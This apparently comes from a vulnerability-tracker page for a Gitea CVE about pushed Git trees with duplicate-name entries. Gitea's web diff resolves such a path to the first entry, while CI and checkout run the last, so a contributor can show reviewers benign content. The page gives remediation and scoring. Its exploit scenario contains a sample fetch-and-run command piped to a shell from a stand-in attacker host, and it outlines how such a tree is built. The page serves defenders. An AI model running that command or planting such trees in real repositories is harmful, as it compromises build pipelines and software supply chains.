Skip to main content

Gitea CVE-2026-95106

| EUVDEUVD-2026-93913 CRITICAL
Use of Incorrectly-Resolved Name or Reference (CWE-706)
2026-10-06 88ee5874-cf24-4952-aea0-31affedb7ff2
9.1
CVSS 3.1 · Vendor: 88ee5874-cf24-4952-aea0-31affedb7ff2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain contributor/PR push access
  2. Delivery
    Craft commit with duplicate tree entries (benign + malicious)
  3. Exploit
    Open pull request showing benign web diff
  4. Execution
    Reviewer approves based on deceptive web view
  5. Persist
    CI/checkout resolves to malicious last entry
  6. Impact
    Attacker code executes in build/CI pipeline

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Incorrectly specified target
Exploitation Conditions

Requires a Gitea instance running an affected version (≤1.27.3, pre-28.0.0) that accepts incoming pushes of malformed Git objects - the fix enables transfer.fsckObjects=true to reject them. The attacker must be able to push a branch/open a pull request (contributor access, or a public instance permitting registration and fork-based PRs). The divergence only becomes dangerous where consumers resolve the same commit differently: specifically when Gitea Actions CI, git checkout, or release-archive generation is used, while human reviewers rely on Gitea's web diff/file views. Limiting factors: exploitation depends on a reviewer being deceived by the web view and/or CI auto-running on the PR, needs push/PR privileges rather than pure anonymous network access, and is ineffective against patched instances - but note that upgrading does NOT rescan already-stored objects, so a pre-existing malicious tree remains exploitable after the fix.

Impact

Signals conflict on priority. The NVD CVSS 3.1 base score is 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N), which paints a critical, network-reachable, unauthenticated, no-interaction picture. However, the description makes clear this is a code-review/content-confusion flaw: an attacker must be a contributor able to open a pull request, so PR:N is questionable - realistically some account/push access is needed (verify against repo settings; public instances allowing open registration and fork PRs narrow the gap). EPSS is very low at 0.16% (4th percentile) and SSVC records Exploitation: none, so there is no evidence of active or imminent mass exploitation; it is NOT in CISA KEV. Counterbalancing this, SSVC rates Technical Impact: total and Automatable: yes, and the impact class is serious - a silent code-review bypass that lets CI, git checkout, and release archives execute attacker-controlled content while reviewers see benign diffs (a supply-chain / CI-poisoning primitive). Net assessment: this is a real, high-value integrity issue for organizations that run Gitea with CI (Gitea Actions) and rely on web-diff review, but it is a targeted abuse-of-workflow bug rather than a spray-and-pray mass-exploitation vector - the high CVSS overstates ease relative to the low EPSS and the contributor-access precondition. Treat as a prompt patch priority for Gitea operators who accept external PRs and run CI, lower priority for closed internal instances.

Exploit ScenarioDerived

An attacker with contributor/PR access (e.g. a registered user forking a public repository) pushes a commit whose Git tree contains two entries with the same filename - a benign blob first and a malicious one (e.g. curl evil.test|sh) second - then opens a pull request. Reviewers see only the benign first entry in Gitea's web diff/file views and approve, but Gitea Actions and git checkout at that same commit resolve to the last entry and execute the attacker's content. No standalone weaponized public exploit is identified, though the fix PR (#39472) includes a test that hand-assembles exactly such a duplicate-entry tree, demonstrating the mechanism.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 07, 2026

Duplicate-name tree entries pushed to Gitea ≤1.27.3 are stored and served inconsistently: the web diff and file views resolve such a path to the first entry, while git checkout, Gitea Actions and generated release archives resolve it to the last, so a contributor can open a pull request that looks benign to reviewers but runs or delivers attacker-controlled content at the same commit. Exploitation requires the ability to push a branch or open a pull request (contributor access, or a public instance allowing registration and fork-based PRs) and is only consequential where a consumer resolves the commit differently - CI auto-running on the PR, a developer checking it out, or a release tarball being built; there is no confirmed active exploitation and no public exploit code identified at time of analysis, with EPSS at 0.16% (4th percentile). Critically, upgrading fixes only new incoming objects - existing repositories are not rescanned, so a malicious tree already stored stays exploitable after the patch.

RemediationAI

Upgrade to Gitea 28.0.0 (vendor-released patch: 28.0.0) per https://blog.gitea.com/release-of-28.0.0/ and https://github.com/go-gitea/gitea/releases/tag/v28.0.0, which together with PR #39472 enables transfer.fsckObjects=true so duplicate-entry trees are rejected at push and fetch time. Because the advisory explicitly states that objects already stored in existing repositories are not rescanned, plan a one-time audit of existing repositories: run git fsck --connectivity-only (or a full git fsck) against each bare repository before restoring normal contributor workflows, and quarantine or rewrite any repository that reports duplicateEntries, since such a history remains exploitable even on a patched instance - a full git fsck on large repositories is I/O-heavy and may surface pre-existing harmless warnings that the patch deliberately ignores (badTimezone, missingSpaceBeforeDate, zeroPaddedFilemode). Where an immediate upgrade is not possible, the strongest compensating controls are to disable open registration and fork-based merge requests so untrusted parties cannot push branches, require reviewers to review from a local clone or git log/git blame rather than Gitea's web diff, and disable or gate automatic Gitea Actions runs on pull_request events from untrusted contributors so attacker-controlled content is never auto-executed; each of these costs collaboration convenience and does not protect against an already-trusted malicious contributor. Refer to GHSA-6pv5-8rp7-8c75 for the authoritative vendor guidance.

Affected VersionsENISA

Gitea 0 ≤1.27.3

Affected Packages

euvd gitea no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Git tree objects are byte streams of <mode> <name>\0<20-byte-object-id> entries, and Git's own consistency checks (git fsck) reject a tree containing two entries with the same name as the duplicateEntries error; standard plumbing such as git mktree and index writes refuse to construct one, so such trees must be hand-assembled via git hash-object -t tree -w --stdin --literally, as demonstrated in the upstream regression test modules/git/receive_fsck_test.go. Gitea resolved these ambiguous paths differently across code paths - the go-git-backed web rendering (file tree, diff views) took the first match while native Git consumers (git checkout, the Actions runner's workspace checkout, archive/release generation) took the last - a textbook CWE-706 (Use of Incorrectly-Resolved Name or Reference) inconsistency. The upstream fix in PR #39472 sets transfer.fsckObjects=true in Gitea's synced Git config so malformed objects are rejected on push and fetch, while explicitly setting fsck.badTimezone, fsck.missingSpaceBeforeDate, fsck.zeroPaddedFilemode (and the fetch./receive. variants) to ignore to match Gitaly and avoid breaking legitimate historical repositories produced by old tools such as Grit and git-cvsimport. The same PR adds a reindexingStorage wrapper around go-git's filesystem storage to re-index packs Git wrote after go-git loaded its index (go-git issue #2439), eliminating a second source of object-resolution divergence.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (88ee5874-cf24-4952-aea0-31affedb7ff2) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 8.1 HIGH

Network-reachable and low-complexity, but opening a PR needs an account so PR:L not PR:N; integrity-centric review bypass with CI code execution yields C:H/I:H, A:N.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (88ee5874-cf24-4952-aea0-31affedb7ff2).

CVSS VectorVendor: 88ee5874-cf24-4952-aea0-31affedb7ff2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
CVSS changed
Oct 07, 2026 - 21:23 NVD
9.1 (None) 9.1 (CRITICAL)
CVE Published
Oct 06, 2026 - 20:17 cve.org
UNKNOWN (no severity yet)
CVE Published
Oct 06, 2026 - 20:17 cve.org
CRITICAL 9.1

DescriptionCVE.org

Gitea accepted pushed Git trees containing two entries with the same name, which Git's own consistency checks reject. Gitea's web views resolved such a path to the first entry, while git checkout, Gitea Actions, and release archives use the last. A contributor could open a pull request whose diff and file views show benign content while CI and checkouts at the same commit use different, attacker-controlled content. Incoming objects are now checked for consistency; objects already stored in existing repositories are not rescanned.

Technical POC Analysis

CWE-706: Use of Incorrectly-Resolved Name or Reference.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Gitea deployments running version 1.27.3 or earlier are affected by a critical repository-integrity vulnerability that can allow a contributor to submit a pull request appearing benign in Gitea’s web interface while delivering attacker-controlled content to CI pipelines, developer checkouts, or release archives. This creates a potential supply-chain risk for organizations that rely on Gitea for source control, code review, and automated builds, particularly those accepting external pull requests or auto-running workflows. No public exploit identified at time of analysis, but no vendor-released patch identified at time of analysis, and existing repositories are not remediated by upgrades alone.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict push and pull-request rights to trusted contributors; disable public registration and fork-based pull requests; require maintainer approval before CI runs on any pull request; manually inspect commit trees and release archives without executing content; audit existing repositories for duplicate-name tree entries and quarantine or rewrite suspicious objects; avoid relying solely on Gitea web diff or release archives until a vendor fix is available.

Threat Intelligence Overview

EPSS Score
0.2%
Top 96% exploitable
Prevalence
Medium
popular self-hosted Git service, common but far below GitHub/GitLab scale
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

CVE-2020-13246 HIGH POC
7.5 May 20

An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy